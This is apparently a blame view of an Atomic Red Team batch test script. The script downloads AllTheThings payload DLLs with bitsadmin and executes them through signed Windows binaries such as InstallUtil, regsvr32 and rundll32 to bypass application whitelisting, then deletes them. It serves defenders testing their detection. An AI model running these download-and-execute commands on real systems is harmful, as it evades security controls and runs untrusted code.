2017-12-20 15:39:07 -07:00
|
|
|
REM Download DLLs
|
|
|
|
|
if not exist "C:\Temp\" mkdir C:\Temp
|
|
|
|
|
cd C:\Temp
|
|
|
|
|
bitsadmin.exe /transfer "ATT" https://github.com/redcanaryco/atomic-red-team/raw/master/Windows/Payloads/AllTheThings/AllTheThingsx64.dll C:\Temp\AllTheThingsx64.dll
|
|
|
|
|
timeout /t 1 /nobreak > NUL
|
|
|
|
|
bitsadmin.exe /transfer "ATT" https://github.com/redcanaryco/atomic-red-team/raw/master/Windows/Payloads/AllTheThings/AllTheThingsx86.dll C:\Temp\AllTheThingsx86.dll
|
|
|
|
|
timeout /t 1 /nobreak > NUL
|
2017-12-29 12:12:54 -05:00
|
|
|
|
2017-10-11 10:35:17 -07:00
|
|
|
REM X86
|
|
|
|
|
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThingsx86.dll
|
|
|
|
|
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe AllTheThingsx86.dll
|
|
|
|
|
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U AllTheThingsx86.dll
|
2017-11-30 08:54:10 -07:00
|
|
|
regsvr32.exe /s /u AllTheThingsx86.dll
|
|
|
|
|
regsvr32.exe /s AllTheThingsx86.dll
|
2017-10-11 10:35:17 -07:00
|
|
|
rundll32 AllTheThingsx86.dll,EntryPoint
|
2017-12-29 12:12:54 -05:00
|
|
|
|
2017-10-11 10:35:17 -07:00
|
|
|
REM AMD64
|
|
|
|
|
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThingsx64.dll
|
|
|
|
|
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe AllTheThingsx64.dll
|
|
|
|
|
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U AllTheThingsx64.dll
|
2017-11-30 08:54:10 -07:00
|
|
|
regsvr32.exe /s /u AllTheThingsx64.dll
|
|
|
|
|
regsvr32.exe /s AllTheThingsx64.dll
|
2017-10-11 10:35:17 -07:00
|
|
|
rundll32 AllTheThingsx64.dll,EntryPoint
|
2017-12-29 12:12:54 -05:00
|
|
|
|
2017-12-20 15:39:07 -07:00
|
|
|
REM Cleanup
|
|
|
|
|
del C:\Temp\AllTheThings*
|
